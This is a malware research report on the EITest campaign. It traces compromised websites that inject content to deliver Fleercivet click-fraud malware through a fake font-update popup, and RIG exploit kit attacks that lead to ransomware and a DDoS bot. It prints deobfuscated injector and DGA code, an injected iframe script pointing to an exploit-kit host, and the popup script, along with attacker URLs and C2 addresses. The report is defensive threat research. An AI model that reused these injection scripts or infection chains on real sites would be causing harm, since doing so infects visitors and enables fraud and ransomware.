Exposing EITest campaign

Following a Malware distribution campaign that uses ExploitKit

Background

Exploit Kits are a common threat that faces users, they are widely deployed on legitimate websites, and malicious authors are using it to distribute their malware. They can push a broad range of dangerous software. In this research, we look for more details at the EITEST infection chain. The distribution mechanism studied in this report has been known since 2014, but it recently resurfaced using a new creative campaign.

On January 13th, 2017, we first saw a JavaScript pop-up warning the user that
“The HoeflerText font wasn’t found” on Chrome browser, and that we needed to download the missing font.

Since then, we followed the campaign and observed two types of behavior from EITest:

First case: Victim’s browser is Chrome


Second case: Victim’s browser is IE

Infected websites controlled by EITest are carefully choosing their victims before injecting content in the original HTML page, leading to either a drive-by attack or exploitation of the browser. Furthermore, it leverages the fact that infected websites are legitimate.

The payload observed in the first case (user browser is Chrome) is Fleercivet, which is the name Symantec gave to the malware sold as ‘CliCool’ in the darknet markets while we’ve seen multiples differents payload in the second case.

Timeline

  • January 13th, 2017 – Initial discovery
  • January 13-14th, 2017
    • Quest for of help.php and download.php files
  • January 16th, 2017 – Started the collection of infected websites
    • Discovery of various payload
    • Fleercivet Analysis
  • January 16th, 2017 – CERT advised
  • January 17th, 2017 – Article from ProofPoint released
  • January 18th, 2017 – Fleercivet campaign stops
  • January 19th, 2017 – Fleercivet campaign restart
    • Starting the validation of the infected websites
  • January 22th, 2017 – Requested advice from WordPress Security team, no response
    • Gate servers are changed from help.php,download.php to file.php
  • January 24th,  2017- Campaign is active
  • January 27th, 2017- Gate server file changed from file.php to downloads.php
    • Payload name changed from chrome_font.exe to font_update.exe payload is no longer Fleercivet
  • January 30th, 2017 – Publication of the report
  • February 7th, 2017 – Update about the Domain Generation Algorithm used (from information received)
  • February 24th, 2017 – Adding IOCs, information about the DGA when resolution fail, documenting new.php which generates binary name Chrome Font v[x].[xx].exe.

Infection of legitimate websites

Multiples CMS infected by EITest campaign were observed. The most commons were:

  • WordPress (version 2.9.2 to 4.7.2)
  • Joomla
  • PrestaShop
  • Drupal (7.0)
Confirmed infected websites. WordPress: 3171 (55,39%), ? CMS not available: 1894 (33,07%), Joomla: 427 (7,45%)

 

Because of the wide range of targeted CMS versions and plugins of targeted websites, we’re not sure yet how legitimate websites are infected at this stage.

However, since we’ve been made aware of mass brute-force attacks on multiples WordPress sites, we can assume that this attack vector is still working. Also, some of them seem to have been compromised a long time ago based on the modified date on infected PHP files. Furthermore, stealing of credentials of an administrator and exploitation of vulnerable plugins are still in use. In some cases, the WordPress website was hosting an EITest gate, and its installation wasn’t even finished (we were redirected to the WordPress setup by visiting the website).

Outdated version of Joomla! (3.6.4) were also observed and vulnerable, leading us to believe that they may have been breached by exploits CVE-2016-8870 and CVE-2016-8869. The proof of concept is publicly available on exploit-db.

Additionally, some are not necessarily CMS based websites.  

We’ve also seen infected websites behind WAF products such as CloudFlare and Incapsula.

On a typical Joomla contaminated site, all .PHP files have malware that does the content injection. On WordPress, we’ve seen servers that only wp_config.php file was affected but in other cases all.PHP files were modified. The malware that infects those PHP files was discovered by Symantec on November 19, 2015, and haven’t changed much since:

Obfuscated malicious PHP code injector placed in the header of index.php

Infected websites will show no abnormal behavior by browsing into it if the content injection is not triggered. So, there’s no easy way for an administrator to know if a website is infected. The next section will explain the process followed if the content injection is triggered.

Malicious content injection

Initially, the malicious injected PHP code will enter a complex deobfuscation routine before being able to complete any real task. To get a better understanding of its inner workings, we proceeded with a static analysis of the code in an attempt to reverse the obfuscation flow. After breaking 8 stages of code confusion, we were able to reconstruct the original mischievous code, thus giving us an accurate comprehension of its behavior.

Deobfuscated malicious PHP code after the static analysis

The complete obfuscation-free code is available for further analysis here. The obfuscated version can be found here and here.

After finishing its initial preparation routine, the code will verify if the PHP function ob_start is defined and also if the global variable anuna isn’t already set. The injection process will only begin if both these conditions are respected. If it’s the case, it will then set anuna to ‘True’ and then proceed with an additional check on the victim’s browser user agent string.

Only the following browsers will allow for further actions:

  • Microsoft Internet Explorer
  • Google Chrome (Desktop)
  • Google Chrome (Android)
  • Mozilla Firefox
  • Empty User Agent (Not a real browser)
The initial verification steps before continuing with content injection

When all those checks are confirmed, the victim is considered. The injection process continues by disabling the PHP error reporting functionalities, probably to avoid server-side infection detection. Multiple functions are then defined, those are going to be used and chained to complete the injection. If you decided to take a look at the full deobfuscated code before finishing reading this report, you probably wonder how this script even execute itself, where is the entry point?

It all relies on the ob_start function, explaining why its existence is the first thing being verified. This function is basically used to enable output buffering, which prevent any output (except headers) from being sent by the script, instead of storing everything in an internal buffer. Usually the buffer content can be retrieved by calling any of the methods to flush it, but in this case, only ob_start is called, nothing else. The trick resides in the fact that ob_start can also be called with the name of a callback function as an argument. This means that the buffer content is automatically returned as an argument of the provided function name when it is about to be flushed. This happens when the request ends. To sum it up, anything outputted after ob_start is called will be sent to another function when the request is finishing.

In this particular case, the callback function is pa22() and since the malicious code is prepended to the original file and executed before anything else, the entire genuine page content (HTML) is sent to it when the request end.

The entry-point function receiving the page content

The function starts by setting the Content-Encoding header to none, then proceed to decompress the page content using a custom decoding function named do(). If the content isn’t compressed, it is returned to its original state. By pairing preg_match and preg_replace the script is able to locate where the malicious payload should be injected into the page. The resulting HTML is then outputted to the page because pa22() returns from the output buffer.

Now, how the actual payload is retrieved before being injected? The day212() function is the culprit!

The core deobfuscated function

The User Agent, the HTTP referrer, the HTTP host, the victim IP address and the infected PHP file name are all grabbed by using a safe getter function called check212() which basically returns “non” if the requested value isn’t defined.

Then another verification sequence comes next. The script will abort remotely fetching the payload if any of those conditions results to true:

  • The User Agent string is not defined
  • The victim IP address is not specified
  • The HTTP host is not specified
  • The currently infected file name contains ‘admin’
  • The User-Agent matches a known crawler (Google, Slurp, MsnBot, IE_Archiver, Yandex, Rambler)

If this last verification process completes without any failure, the payload is ready to be requested. Otherwise, no code is injected into the page, and the victim can browse the website without any harm.

Before the function day212() initiates the HTTP request, asking for content injection, a random operation ID is generated to identify the request when received. It is then concatenated with all the previous saved parameters to craft a unique URL using the k34() function, which takes the result of the custom encrypting method en2() and encode it in base64.

Crafted URL example

The cqq() function is now called to retrieve a valid destination domain to send the request to. Despite the function having a defined array of four domains, they are not used. If we look closely, the ccq() function return the random() function. The random() function is, in fact, a simple DGA which generates domains names by splitting a hash into four parts of eight characters:

function cqq($qw)
{
 $domarr = array(
        "33db9538",
        "9507c4e8",
        "e5b57288",
        "54dfa1cb"
 );
 return random($domarr, $qw);
}

function random($arr, $qw)
{
  $arr = str_split(md5('.com'.gethostbyname('stat-dns.com')), 8);
  return $arr[rand(0, 1.125)] . $qw;
}

The MD5 hash is obtained by adding the TLD ‘.com’ to the result of : gethostbyname(‘stat-dns.com’). At this time, gethostbyname(‘stat-dns.com’) return 8.8.8.8. That being said, the MD5 hash is generated with the following string : “.com8.8.8.8”. The outputting result is : 54dfa1cb33db9538e5b572889507c4e8. Split this string in four, and you’ll have the EITest gate domains to contact.

The last line of the random() function will return randomly the first or the second domain that has been generated in the array. So it seems that contacted domains will be 54dfa1cb.com or 33db9538.com. However, if we suppose that the domain stat-dns.com is controlled by the same actor, they only need to change the A record to something else than 8.8.8.8 and the malicious script will generate new domains to contact.

If there is a failure in the resolution of stat-dns.com, the documentation of the PHP function gethostbyname tells us that the returning value will be the unmodified hostname. In this particular case, the MD5 hash will be calculated with this string:  “.comstat-dns.com”. The returning result will be: 32f988f6e108dfcb8b238dd610f89b8c. The result will be that the script will try to contact either 32f988f6.com or e108dfcb.com. However, those domains (as well as 8b238dd6.com and 10f89b8c.com) are already registered. By visiting those websites directly, we can read this message:

Maybe actors behind the EITest script missed the case of resolution failure of gethostbyname , and some security researchers took advantage of it by sinkholing those domains. The sinkholed domains are currently resolving to IPs based out of Japan.

After a successful HTTP GET request, servers behind those domains will either return the payload to inject in the HTML page or reply with content not found:

Unsuccessful call made to EITest gate to obtain the injection content

The reason behind the content not found response isn’t entirely known since we don’t have any access to the code located on their backend. Severals verifications seem to be made on their end to ensure that the delivery of the malicious payload is only sent to the intended web page. We don’t know what those checks are, but it looks like it’s all about confirming the authenticity of the parameters that were encrypted and sent along the URL. It also seems that the gate is only going to infect the same IP address once in a 24 hours period. In the case that the payload distribution server recognizes the request as genuine, it will use the information it received to identify what kind of payload it should return to correctly infect the victim.

We were able to produce a valid infection sequence by using one of our own infected server and a false victim machine running Microsoft Internet Explorer as the browser. By looking at the recorded network traffic we could retrieve the returned malicious content before injection.

Successful call made to EITest gate to get the malicious injection

Now obviously the returned payload isn’t in plain text, thus hard to understand. However, the malicious PHP injector script that we first analyzed give us the key to decrypt this chunk of data. In fact, the same en2() function that was used to encrypt the parameters when crafting the URL can be used to decrypt the payload received from their server.

The main method using for encrypting/decrypting communications

It seems like a custom implementation of the HMAC_MD5 algorithm, with q1w2e3r4 as the key. Even if this algorithm relies on an MD5 hash, there is no known way of breaking it in its current state, so the fact that we were able to grab the key helped us a lot.

We created a custom Python script to decipher the response from the payload distribution server in a few steps.

First, grab the raw response bytes as a hex string. You can do this in Wireshark by viewing the TCP stream of the reply and select Raw as the view format. Just copy the data in blue as shown below.

You also need the operation ID from the initial request URL. It’s the number in red:
/430082?P2p%252F6fb8jfxgI8vb9UJzKfQvR%252B5UTQlu4%252BRnN5SL3lwHk…

Run the script using the following command to get the payload in plain text.

python injPayloadDecryter.py HEXSTRING OPERATIONID

After a bit of cleaning and renaming to help comprehension, this is the script that gets injected into the page after all verification.

It will actually inject an iframe that will redirect the user to another malicious server. In this example, the victim browser was Internet Explorer. It would have been a different payload in case of Chrome.

The selection of what is being injected is all based on the information about the victim’s machine that was relayed by the infected server to the payload distribution server. They return an exploit precisely made to abuse their current victim browser and computer, thus showing how serious they are with their infrastructure and distribution mechanism.

As we demonstrated, there’s a need to contact at least one of those domains to make the content injection successful for now:

  • 33db9538.com
  • 54dfa1cb.com
“Fake” breaking news website hosted on each 4 of the domains

All of these domains are registered with todaynic.com a China-based registrar. This registrar has already been issued a notice of breach of registrar accreditation agreement by ICANN in 2014. It has been known to be a safe haven for illegal Internet pharmacy operators in Russia, Eastern Europe, the Middle East, and elsewhere.

We took the initiative of contacting the legal officer of todaynic.com, and we did not receive any response. Even if several thousand websites are infected and distributing malware on a globally distributed infrastructure, there is no legal way for us or ICANN to force the registrar to take any action on any of those four domains. The only way ICANN could be of assistance will be if there are any Whois inaccuracies in those domains through a whois inaccuracy complaint.

Our recommendation would be that any competent law enforcement agency formally seizes those domains name (at least stat-dns.com), take over the DNS control of them and decodes each request to generate the complete list of infected websites. In the case of seizing stat-dns.com, we could change the record for something else than 8.8.8.8, thus making the EITest script generating new domains to contact. We could then register those new domains generated by the DGA and intercept requests. The list could then be forwarded to each CERT in their respective country who could then contact compromised website owners. Also, just removing DNS entries for these 4 domains would stop the process of content injection done by this malicious code for now, and would prevent malware distribution from infected websites. However, as soon as the record for stat-dns.com will change, the script will try to contact different domains.

ClickFraud

While visiting a website hosting an EITest script, using Google Chrome, and having the proper referrer, a popup displays a message saying: “The HoeflerText font wasn’t found”. Other conditions also need to be met before EITest gates return content injection (for instance, the IP address of the visitor hasn’t been seen in the last 24 hours).

The “HoeflerText font wasn’t found” message

This pop-up caused by content injection is wrapped in DIV HTML tags. Then style is applied and make it overlay the actual page. Images are also applied by the style because they are stored in base64 in it.

The malicious code also replaces characters on the page to make it display incorrectly. It then suggests downloading the “missing” font called HoeflerText.  

When the ‘Update’ button is clicked, the following javascript function is triggered:

if (!!window.chrome && !!window.chrome.webstore) {

    function ue0() {
        document.getElementById('popup-container').style.display = 'block';
        document.getElementById('info1').style.display = 'none';
        document.getElementById('tabl1').style.display = 'none';
        document.getElementById('helpimg').style.display = 'block';
        document.getElementById('info2').style.display = 'block';
        document.getElementById('form_1d').submit();
    }
    function dy0() {
        document.getElementById('dm-overlay').style.display = 'block'
    }

    setTimeout(dy0, 1000);
} 

This script verifies that the user browser is indeed Chrome before being defined. It will show a green arrow pointing at the bottom of the browser to encourage users opening the malware.

Downloading the malware after clicking on ‘Update.’

Finally, it will submit a form to another compromised server.

The content being sent as a POST request is in fact information about the user that the remote server will decipher with a custom algorithm to verify that the requester is the intended computer.

Those servers are again infected websites, which serve as a proxy to download the payload. The return of the call will then be the payload renamed as ‘Chrome_Font.exe’ or ‘Font_Update.exe’.

Injected content asking the user to download chrome_font.exe

The URL where the injected form is posting the information will change about once every hour.

We’ve observed four possible URL patterns were that information is sent:

  • http://infectedgatewebsite.tld/help.php
  • http://infectedgatewebsite.tld/download.php
  • http://infectedgatewebsite.tld/file.php  
  • http://infectedgatewebsite.tld/downloads.php

Those PHP files are serving the payload when the request parameters are correct. Validations that occurs is described in details later on.

Simplified overview of the traffic flow leading to Fleercivet infection

When using Google Chrome as a web browser, only avoiding to click on ‘Update’ or to run the payload will be enough to prevent infection. However, it is not necessary the case when running Internet Explorer.


Understanding the payload

Having the IP address of the back-end server who was providing the Fleercivet payload, we were able to fetch it automatically every hour. More than 31 differents hash were collected (see the IOC section). On average, they were changing the hash approximately every 20 hours. However, we can spot changes in this behavior by looking at new hash discovered on a timeline:

Each dot represent a new hash seen on the back-end server

The gaps in the timeline show two moments at which they didn’t change the hash for a longer period of time than usual. Likewise, we were not prompted to download the fake ‘Chrome_Font’ anymore during that gap. It seems that they stopped spreading Fleercivet during those periods. The first gap may be a result of the ProofPoint post about the malware.

The reason why they are changing the executable signature so frequently is basically to avoid being detected by antivirus engines. Malware programmers usually achieve this by changing the execution flow with the addition of junk code and by replacing the strings since this is the easiest way to get detected. Much more sophisticated approaches can also be used to better trick the antivirus scans. Since we are dealing with a well-structured organization, it comes as no surprise that this is the kind of method that we faced.

They are using custom packers (also known as crypters) to protect the original Fleercivet malware binary. These are tools used to completely hide a software behavior from an antivirus. It works by taking the target binary, encrypting it and saving the output into an executable stub. This stub will contain the decryption routine to retrieve the malware at runtime and then injecting it into its own process or even another process to avoid runtime detection.

So all the different hashes that we’ve seen for Fleercivet are caused by the fact that they distributed the malware by using a different stub every time. The malware that was packed into each of these stubs was exactly the same. However, to end up with this conclusion, we first had to unpack and extract the malware from the distributed executable file.

After trying different techniques, we’ve concluded that even if all different, these packers were using protection mechanisms to avoid being reverse engineered:

  • Anti-Debugging
  • Code injection detection
  • Dynamic decryption key generation
  • Junk code and sophisticated methods branching

By chance, those packers weren’t protected against memory dumping. After letting it run in a sandboxed environment for a few seconds, we were able to dump the memory region where the malware had decrypted itself. Fixing the Import Address Table (IAT) and then rebuilding the Portable Executable header (PE) was the next step to get a proper Win32 binary ready to be analyzed. This is when we discovered that all the packed binaries where the same.

As for the Fleercivet binary itself, we discovered that its startup routine contains an anti-sandboxing mechanism to prevent execution in a controlled environment. A dynamic analysis revealed that a verification sequence was initiated to check the value the following registry key and its subkeys.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\IDE

If any subkeys name contained either VBOX or VMWARE, the process would create exit, and the executable file would then be wiped from the machine hard drive.

We managed to feed this registry verification process with false data to bypass the anti-sandbox protection and execute the binary. The main routine isn’t really complicated, it will first inject itself into svchost.exe for protection (If its main process gets killed it can respawn it) and then will proceed with the launch of severals hidden Microsoft Internet Explorer instances by using -private -noframemerging as parameters. Those IE process will query a fake search engine website at http://searchtopresults.com/search.php.

Process tree created by Chrome_font.exe

We can see that an ‘aff’ query parameter is passed along the URL. This probably refers to an affiliate ID of the concerned Internet marketing campaign. It is used so the campaign owners can identify who brought them traffic and conversions to paying them accordingly. This is obviously a click fraud system since those clicks aren’t generated by real people. Those affiliate ID that we see are the fraudsters accounts, and they are sending illicit traffic to that marketing campaign and are getting paid for it. The fact that this malware is designed to prevent execution in sandboxes now makes sense because they only want real looking traffic to be sent to their target so they can be paid for it and avoid being flagged for fraud.

In fact, this is a really common practice, and black hats are always looking to refine their methods. In 2016, the Association of National Advertisers (ANA) expected more than $7 Billion US dollars to be lost due to advertising fraud.

Tracking redirected users

Starting from January 13th, we did manage to monitor infected gates URLs by querying an infected website every hour with a spoofed Chrome browser user agent. Since the content injection seems to be triggered only once by IP address, we created a script using Amazon AWS SDK to automatically change the public IP on an Amazon EC2 instance. Using this script, we were able to receive several URLs of gates that were provided to the legitimate websites. Gate servers are changed approximatively once per hour. The URL leading to the server is same for each legitimate infected site.
Having the list of the gates (136 unique domains), we managed to get a copy of the two versions of the PHP file being called when a user is downloading Chrome_Font.exe or Font_Update.exe, and asking for the payload to those servers. Those files were typically put at the root of the website.

The help.php file

We believe that help.php is the older version of download.php because the logging functionality is no more in file.php and download.php.

Once called, the code will:

  • Verify if the payload is on the current server (in a file named blog.xml.php). If not, it will download it
  • If the file is older than 15 minutes, it will also download it again
  • It will log who is calling it on a local file (remote address, HTTP Referer, User-Agent)
  • If the parameter ‘infol” is not set on the request, it fake a 404 not found error message
  • If the parameter is set, it will try to decipher it with this following function:
 function enco($String)
    {
         $Seq   = 'pAsswd1';
         $Gamma = '';
         while (strlen($Gamma) < strlen($String)) {
             $Seq = pack("H*", md5($Gamma . $Seq . '123456790'));
             $Gamma .= substr($Seq, 0, 8);
         }
         return $String ^ $Gamma;
    }

Here is an example of a user redirected to download.php performing the POST request:

POST request made by one victim to download.php

Using this python script will decrypt the information sent:

Request encoded: 17KFHxStXINTYM………………………………………………….Y%3D

Request decoded: kn8cvc-|x|-x.x.x.x-|x|-www.REDACTED.com

It will then perform severals check on those parameters:

  • If any of them is missing log the request to the second file and fake the 404 page
  • If the IP address and the User Agent is not the same as the one who is making the request right now, log the request to the second file and fake the 404 page
  • If the user agent does not contain the words ‘Windows’ and ‘Chrome,’ log the request to the second file and fake the 404 page

If those checks pass, the local file (blog.xml.php) is read and sent to the victim, and the request is logged with the word ‘GOOD.’

File.php and download.php does the same, but don’t log requests.

File.php only appeared on 2017-01-21 on gates servers and was not seen before. The code is exactly the same as download.php. Since we saw this new file on infected websites being added recently, it seems that most of them are still under their control, because they still have the capabilities of uploading files on them. In fact, since 2017-01-21, all of the new gates discovered used file.php. So we’ve seen content injection that was redirecting users to http://domainA.com/help.php on 2017-01-19 for example, and after 2017-01-21, the injection could redirect users to the same domain, but at the file.php code: http://domainA.com/file.php.

Near 2017-02-05, we’ve also seen other modifications made on the PHP code and their filenames started to be even more random. Observed filenames were: new.php, update.php,go.php,update.php,load.php,info.php and so on. The goal of the change this time was to generate a more random name for the malware binary. Binaries downloaded after this modification will have the following name pattern: Chrome Font v[x].[xx].exe.

How does the random versions number are being generated in the PHP code ? Here is the code that generate those numbers:

$ip = $_SERVER['REMOTE_ADDR'];
$p = str_replace("0", "1", substr(ip2long($ip), -3, 3));
header("Content-Disposition: attachment;
 filename=Chrome Font v" . substr($p, 0, 1) . "." .  substr($p, 1, 2) . ".exe");

First , the IP address of the requester is converted to long with the function ip2long. Then, the last 3 digits is keep. If one digit contain 0, it will be replaced with 1. Finally, the first digit will be the version number and the last twos will be the subversion.

download.php, file.php, new.php and help.php achieve the same goals: they are downloading the payload on the gate server and serve it to whom is requesting them with the correct parameter. Still, they have the following differences:

Functionality new.php file.php & download.php help.php
Interval to refresh the payload 10 minutes 10 minutes 15 minutes
Has a backdoor function that displays the size of the binary file No Yes No
Uses 3x.xxx.xxx.xxx9 to get the payload Yes Yes Yes
Only deliver the payload to chrome users Yes Yes Yes
Is logging request into logo2.png and logo3.png No No Yes
Fake a 404 error if parameters are incorrect Yes Yes Yes
generates new binary name at each request Yes No No

That being said, gates servers hosting the help.php file were much more valuable for our investigation as they keep the record of the IP address, the user agent and to referrer of who is calling it in a file named logo2.png for the successful request and in logo3.png for all requests.

This fake image is saved in the same directory as the PHP file, making it accessible to us by querying http://gateserver.tld/logo2.png. Then, with the list of gates servers that we’ve previously collected, all of the logo2.png files were downloaded. This allowed us to keep the logs of all victims who called those servers hosting help.php in our database for further analysis. We’ve only stored entries that were marked as ‘GOOD.’

Logo2.png file containing the logs

The referrer information allowed to identify potentially infected website who were redirecting users to the gate. By storing those domains, we were able to find, more than 7000 infected different websites.

To make sure that those domains were affected, we used our script again on Amazon AWS SDK to automatically change the public IP and make the content injection trigger. When triggered, we automatically downloaded the index.html file generated. We then marked those domains as ‘Verified’ in our database. We were able to confirm that 5728 out of 7071 websites were indeed infected (81%). For the remaining unconfirmed 19%, it could be that the website got disinfected or our crawler did not meet criteria to trigger the injection. We cannot share this list publicly, but a CERT has been contacted with the full list.

Top infected websites that redirected users to help.php
Confirmed infected website .com: 2599(48.26%), .uk: 344(6.39%), .org: 330(6.13%), .it: 323(6%), .fr: 233 (4.33%)

As for the IP address and the user agent in the same logging file, it allowed us to have a better view of whom have been called the server (by clicking ‘Update’ on the fake chrome font popup). To avoid duplication of data and counting the same user twice, we considered a victim unique if we haven’t seen the hash of those three parameters concatenate together before (referer domain name, IP address, user agent). This allowed us to make a list of 25588 unique calls to the 136 EITest gates discovered that used either help.php, download.php, files.php, downloads.php . Using MaxMind GeoIP database, we then added geolocation information to those IP address, which allowed us to visualize the location of some of the potential victims of the malware ‘Fleercivet’:                

Out of those 29488 calls, there was 29262 unique IP.

Heat map showing the location of users that requested the malware to a server hosting help.php
US: 10743(37.19%), UK: 4173(14.45%), CAN: 2320(8.03%), FR :1913 (6.62%)

Statistics about the user agent of redirected users were also made:

We cannot provide a graph with the data over time because the time was not logged with each request. Nonetheless, EITest script apparently has a lot of infected websites ready to distribute malware. Among the infected website in our database, we saw websites belonging to the government, university, SME, municipalities, lawyers, Healthcare, car dealership, individuals, and so on.

These statistics just represent a portion of the real state of EITest gate malware distribution infrastructure.  Since we only relied on servers who logged calls, it is clear that there’s a lot more infected websites, we suspect there may be several thousand more infected websites around the world.

RIG EK redirection

As seen earlier when describing the malicious content injection process, if we use Microsoft Internet Explorer as our browser to trigger the infection, the EITest gate will typically inject an iframe leading to a RIG EK gate into the page.

Malicious injected iframe 1 redirecting to RIG EK
Malicious injected iframe 2 redirecting to RIG EK

This iframe will load a remote page that contains another Javascript script. This one will make sure that the current browser is Internet Explorer and that it is exploitable.

First response (Verification Script) from the RIG exploit kit

http://try.ciela.co resolves to 92.53.120.14 (MOSCOW) and is running NGINX.

First verification script entry point

The only purpose of this script is to generate a BrowserInfo object using the victim’s browser data. Then, two simple checks are made before proceeding to the next step. First, it checks if the browser is identified as a crawling bot and then if the actual browser is Internet Explorer. If everything clears out, the iframe code is replaced with a form pointing to the real payload URL. This form is automatically submitted on the next line, in other words, the payload is gathered instantly.

The obfuscated Javascript returned after form submission

The response returned from the form submission is another big chunk of obfuscated Javascript. Since it seems to be the real payload, we proceeded with both static and dynamic analysis to get a better understanding of its behavior. We managed to get through the various code confusion phases and extract enough information to complete our understanding of the redirection chain

The main function used to abuse Adobe Flash Player in IE

So it seems that this new heavily obfuscated payload is all about abusing the Adobe Flash Player within Internet Explorer. This function requires a flashObjectUrl and a params arguments. The first one being the URL pointing to the SWF file containing the exploit code to abuse the Flash Player and the second one being the shellcode that is going to be executed after gaining code execution privileges within the browser. In our case, the SWF URL was:

http://1gh.saveboston.today/?q=znzQMvXcJwDQDorGMvrESLtEMUzQA0KK2OH_76ayEoH9JHT1vrTUSkrttgWCel&br_fl=5079&oq=_V9_srfLYGbAfl3BOFfFFinYwPAVkS8Kusj0OGnUSa1J6KqRa9ZQtB9qLWU7Jt&yus=Amaya.106zb96.406q3n9f2&ct=Amaya&tuif=2181&biw=Amaya.120el117.406b8x4x8

By spoofing our user agent to IE we were able to download the SWF exploit file for analysis.

The exploit.swf source code

After a quick analysis, it seems the ActionScript code seems to implement the CVE-2013-2551 exploit code to be able to gain arbitrary code execution privilege and eventually run the previously extracted shellcode. However, this doesn’t stop here. In fact, this flash file contains another SWF file embedded within itself as a blob of encrypted binary data. So in the case where the first exploit is unable to abuse the Flash Player, the second SWF file will be decrypted and used in the attempt to run the shellcode within the browser’s memory. This second flash file implements CVE-2015-5122.

Now that we know how Internet Explorer and Flash Player are abused to run arbitrary code let’s take a precise look at the shellcode they are trying to run. The shellcode hexadecimal representation was successfully extracted from the obfuscated Javascript script.

To get a better understanding of its purpose, it would be a good idea to actually run it in a debugger. However, this code only represents a set of x86 ASM instructions, there isn’t any PE header to make it a valid Win32 executable (It wasn’t designed to run as a standalone but within IE memory). By using a web-based tool, we were able to generate a valid Win32 exe file and throw it at Immunity Debugger in our sandbox environment.

The shellcode after reaching its entry point

If you are familiar with x86 ASM and common patterns you can see that this is a simple loop used to decrypt a memory blob using XOR and 84 as a key. By putting a breakpoint at 0x401012, we will pause the execution right after the decryption loop exited. This gives us the payload in plain text. By combining this new information with what we previously gathered we now have a clear picture of the last step in this infection chain.

The payload seems to spawn a hidden cmd.exe process to create a VBScript file named QTTYUADAF in the Temp folder and then proceed to execute it in silent mode. Arguments are also passed to this script from the previously obfuscated Javascript file. There are precisely 3 arguments, in our case, this is what we got:

  • gexywoaxor (The key used to decrypt the malware binary)
  •  The malware binary URL
  • http://1gh.saveboston.today/?tuif=5065&biw=SeaMonkey.78ug102.406b4v4x7&yus=SeaMonkey.100om104.406w6t1f8&ct=SeaMonkey&oq=CelnT_fV8JLYGbAew20CHLwxindwOUVsU9aunjxKBmxDIiZ_W_SWEYDoYv5E&q=z3zQMvXcJwDQDoTFMvrESLtEMU_OHUKK2OH_783VCZj9JHT1vvHPRAP6tgW&br_fl=4448
  • Mozilla/5.0 (MSIE 10.0; Windows NT 6.1; Trident/5.0) (The browser user agent)

What is doing this freshly created VBScript with those arguments?

The obfuscated VBScript generated by the shellcode

As you can see, its behavior is hard to determine since again the code is obfuscated. After a quick analysis and manual deobfuscation process, we were able to get a much better idea of its inner workings.

The deobfuscated VBScript shellcode

The script will first establish an HTTP web request to the second argument (Malware binary URL) while using the third argument (IE User Agent string) as the user agent. Then if the HTTP result code is 200 (SUCCESS), it will use the first argument (The decryption key) to process the HTTP response content and obtain a valid binary. A final check is made to verify if it’s a DLL or EXE file, because if it’s a library, it requires to be registered with regsvr32.exe to run correctly. Finally, the malware binary is executed, and the victim gets infected.

This is indeed a really complicated chained infection method, but now that we described every single step in details, hopefully, it will help people to better protect themselves.

Ransomware

Another payload pushed by Rig EK is Cerber. After the same chain of an exploit, this well-known ransomware is downloaded and executed in the %TEMP% directory:

tmpBEEC.bmp is, in fact, the ransom note that Cerber is about to put as the wallpaper on the infected computer.

Cerber check-in traffic can be observed via UDP port 6892 to:

  • 91.239.24.0/23
  • 17.55.12.0/27
  • 39.16.22.0/27

We did not complete the full infection routine done by Cerber because it has virtual machine detection, and we didn’t think it would be useful to investigate it further since it is already well documented and his behavior is already known.

CryptoMix ransomware is also distributed using those same techniques:

Ransomware note left after encryption done is by CryptoMix

Emails provided for the support were [email protected] and [email protected]

Also, since 2017-01-27, it seems that the back-end server who’s distributing malware have to change the fleercivet payload to the MRCR ransomware. We didn’t have time to investigate on it. However, the packer used is robust and include a memory anti-dump. The C2 communication URL is also new if we look at the previous analysis that has been done on it. Spora ransomware have also been observed.

DDOS botnet

One of the payloads that we’ve also seen being the push in this campaign was the Madness DDOS botnet. This malicious software is sold on dark markets and claims to have these following capabilities:

- Written in C ++, easy crypto, is lightweight (compressed sample <15KB)

 - Full compatibility with all Windows NT family (x86 and x64)

- Boat has 7 types of attacks

 - Stability in the system. Load capacity on the CPU and RAM is very uniform. 

- Do not attract attention to UAC and Windows Firewall

 - Is able to establish port, referal and cookies individually for each goal 

- It supports up to 10 targets simultaneously

 - It has a very low CPU load thanks to a new, complex system of command
 parsing (all analogs parsing passes inside functions in multiple threads
 - a CPU-intensive extra work new bot puts all the data into the array 
before the attack and function come ready-made options. address, port,
 referral, etc.)

 - It has a tremendous output power of more than 1500 http 
(and more than 30,000 UDP) queries per minute due to the 
direct interaction with the network drivers, even on desktop Windows!
 (Only when using WinSock) This is approximately 10-fold more 
than some few analogs and more top (on this parameter) competitors. 

- The control panel displays: the number of requests per second, the 
rights in the system version of the system. 

- Supports bypassing the security CloudFlare (!!!), and many other,
 more simple.

 - Supports Slow GET and Slow POST modes! 

- In the packet header indicates the cache off (Cache-Control: no-cache), 
which increases the load on the server.

 - Protection of dialogue bot panel spetsklyuchem 

The infection chain followed the same RIG EK pattern and went like this:

  • A user visit a website infected by EITest PHP code (in our test the user agent was MSIE 8.0)
  • A malicious script is injected at the bottom of the web page:
<script type="text/javascript">
    var lsbnfd = document.createElement("iframe");
    var chmkmjr = "";
    lsbnfd.style.width = "11px";
    lsbnfd.style.height = "19px";
    lsbnfd.style.border = "0px";
    lsbnfd.frameBorder = "0";
    lsbnfd.setAttribute("frameBorder", "0");
    document.body.appendChild(lsbnfd);
    chmkmjr = "http://try.UCR.NEWS/?yus=Amaya.92qd86.406w7y8z0&q=w3bQMvXcJx_QFYbGMvLDSKNbNk_WHViPxoyG9MildZiqZGX_k7fDfF-qoV3cCgWR&br_fl=2060&oq=xfF7JOdXaAPhjECDLQFiz99fWl8W9f_8iUCGykOYhJfT-RCLMApM_6KlJLB_mhj2&biw=Amaya.108on110.406o6u2f1&tuif=3570&ct=Amaya";
    lsbnfd.src = chmkmjr;
</script>
  • The browser of the victim make a GET request to the injected link
  • A javascript file is returned: It first validates the browser version. If it pass, it create an IFrame to    redirect the user again to
    http://try.ucr.news/?yus=Microsoft_Edge.113iw103.406s1a2b2&ct=Microsoft_Edge&biw=Microsoft_Edge.83of66.406v7f3c8&oq=gWRxfF7JOdXaAfhjECDLQViz99fWl4W9f_8iUOGykOYhJXT-RCLMApM_6KlJA&tuif=4436&q=w37QMvXcJx3QFYbGMvvDSKNbNkvWHViPxoyG9MildZyqZGX_k7bDfF-qoVXcC&br_fl=4
  • The returning content is a heavy obfuscated javascript which triggers an exploitation into the browser before the payload is downloaded
  • Three .DLL files are downloaded to make the bot gain all of its functionality:
Accessing directly the repertory of the malicious .dll files hosted on 195.161.62.33
  • The infected computer check-ins at 195.161.62.33 (Moscow, Russia) with a POST request to /b1/data.php and /b1/index.php and is now a part of the botnet:

